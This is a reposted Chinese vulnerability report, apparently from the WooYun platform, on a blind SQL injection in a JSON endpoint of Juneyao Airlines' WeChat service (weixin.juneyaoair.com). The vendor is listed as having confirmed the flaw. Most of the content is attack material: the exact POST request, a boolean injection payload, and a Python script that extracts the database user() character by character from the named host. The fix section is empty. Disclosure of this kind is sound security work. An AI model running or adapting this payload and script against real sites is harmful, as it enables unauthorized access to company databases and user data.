记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

吉祥航空某分站存在SQL注入漏洞(附验证码脚本)

2015-12-17 01:00
漏洞标题 吉祥航空某分站存在SQL注入漏洞(附验证码脚本)
相关厂商 juneyaoair.com
漏洞作者 路人甲
提交时间 2015-11-01 18:08
公开时间 2015-12-16 20:02
漏洞类型 SQL注射漏洞
危害等级
自评Rank 20
漏洞状态 厂商已经确认
Tags标签 SQL注入

漏洞详情

目标:吉祥航空APP

检测发现以下地方存在SQL注入:(POST中的cityName,布尔盲注)

POST /ws/service/tcityAirportInfoService/getAirTransports HTTP/1.1
Content-Type: application/json
Content-Length: 102
X-Requested-With: XMLHttpRequest
Referer: http://weixin.juneyaoair.com/ws/service/tcityAirportInfoService/getAirTransports
Cookie: deviceId=A0000038518D0C
Host: weixin.juneyaoair.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

{"AirTransportQueryReq":{"cityName":"厦门","hotCity":"Y"}}

SQLMap能检测出来,但没出数据,估计是过滤了,手工弄了下,payload如下:

' and 1=1 and '%'='

于是自己写了个Python:(以user()为例,测试时请自行修改程序中代理)

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re
user = ''
httpClient = None
for num in range(1,9):
for ascii_num in range(33,127):
try:
params = '{"AirTransportQueryReq":{"cityName":"厦门%\' and ASCII(SUBSTRC(user(),'+ str(num) +',1))='+ str(ascii_num) +' and \'%\'=\'","hotCity":"Y"}}'
httpClient = httplib.HTTPConnection("192.168.222.202", 8080, timeout=30)
headers = {"Host": "weixin.juneyaoair.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Accept-Encoding": "gzip,deflate",
"Accept": "*/*",
"Cookie": "deviceId=A0000038000000",
"Connection": "keep-alive",
"Content-Type": "application/json",
"Content-Length": len(params)}
httpClient.request("POST", "http://weixin.juneyaoair.com/ws/service/tcityAirportInfoService/getAirTransports", params, headers)
response = httpClient.getresponse()
rp = response.read()
#print phonecode
#response_headers = str(response.getheaders())
if len(rp) > 1000:
user = user + chr(ascii_num)
print "User(): " + user
break
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()

漏洞证明:

1、SQLMap漏洞证明

sqlmap.jpg

2、当前数据库用户

user.jpg

修复方案:

版权声明:转载请注明来源 路人甲@乌云

知识来源: www.secpulse.com/archives/42013.html

阅读:76296 | 评论:0 | 标签:漏洞 SQL注入 注入

想收藏或者和大家分享这篇好文章→复制链接地址

“吉祥航空某分站存在SQL注入漏洞(附验证码脚本)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云